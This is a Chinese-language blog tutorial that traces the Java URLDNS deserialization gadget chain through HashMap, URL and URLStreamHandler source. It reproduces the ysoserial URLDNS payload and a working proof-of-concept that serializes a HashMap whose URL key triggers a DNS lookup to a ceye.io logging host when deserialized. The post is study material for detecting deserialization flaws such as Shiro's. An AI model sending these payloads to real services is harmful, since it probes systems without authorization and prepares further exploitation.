前言
之前学URLDNS的时候学的迷迷糊糊的,昨天学到shiro发现可以用URLDNS探测shiro反序列化是否存在,所以今天心血来潮又跟了一遍URLDNS,虽然之前跟了一遍但是这次收获颇多。
复现
反序列化入口在HashMap类的readObject,先看readObject方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在最后会调用hash
putVal(hash(key), key, value, false, false);
跟进一下这个hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
发现调用了key.hashCode,查看ysoserial的URLDSN链发现这个key指的是URL类。
所以查看URL类的hashcode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashcode != -1时会返回hashcode变量,跟进一下hashCode,发现
private int hashCode = -1;
跟进一下handler
transient URLStreamHandler handler;
发现调用了URLStreamHandler,继续跟进
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
跟进getHostAddress
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
这⾥ InetAddress.getByName(host)
的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。
这样Gadget就出来了
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
然后我们再查看ysoserial的URLDNS链
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
发现他多了一个
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这个是为了防止HashMap的put方法触发URLDNS,让我们看看put方法的源码
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
发现他调用了putVal方法,这样就会触发URLDNS链执行DNS请求。
我们可以尝试一下利用put方法执行URLDNS
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
String url = "http://1lzra0.ceye.io/";
URL u = new URL(url);
objectObjectHashMap.put(u,url);
然后我们将ysoserial的防止put方法发出dns请求的部分加上
package ysoserial.payloads;
import org.python.antlr.ast.Str;
import java.io.IOException;
import java.net.*;
import java.util.HashMap;
public class UrlDnsTest {
public static void main(String[] args) throws MalformedURLException {
SilentURLStreamHandler Handler = new SilentURLStreamHandler();
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
String url = "http://1lzra0.ceye.io/";
URL u = new URL(null,url,Handler);
objectObjectHashMap.put(u,url);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
运行poc发现确实没有dns请求,然后我们要想一下为啥执行了putVal却没有dns请求,
打个断点调试一下发现,由于执行了hash,所以HashCode的值被改变了,并没有进行到我们想让他执行的handler.hashCode方法
所以我们要修改一下hashCode的值让链子走进handler.hashCode。
在前面提到过 private int hashCode = -1; 因为是private所以我们只能通过反射修改hashCode的值,再断一下发现
poc
package ysoserial.payloads;
import org.python.antlr.ast.Str;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class UrlDnsTest {
public static void main(String[] args) throws Exception {
SilentURLStreamHandler Handler = new SilentURLStreamHandler();
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
String url = "http://1lzra0.ceye.io/";
URL u = new URL(null,url,Handler);
objectObjectHashMap.put(u,url);
Class c = Class.forName("java.net.URL");
Field field = c.getDeclaredField("hashCode"); //修改变量的值使用getDeclaredField
field.setAccessible(true);
field.set(u,-1); //反射修改hashCode的值
serialize(objectObjectHashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
参考链接:
P神java漫谈
feng师傅:https://ego00.blog.csdn.net/article/details/119678492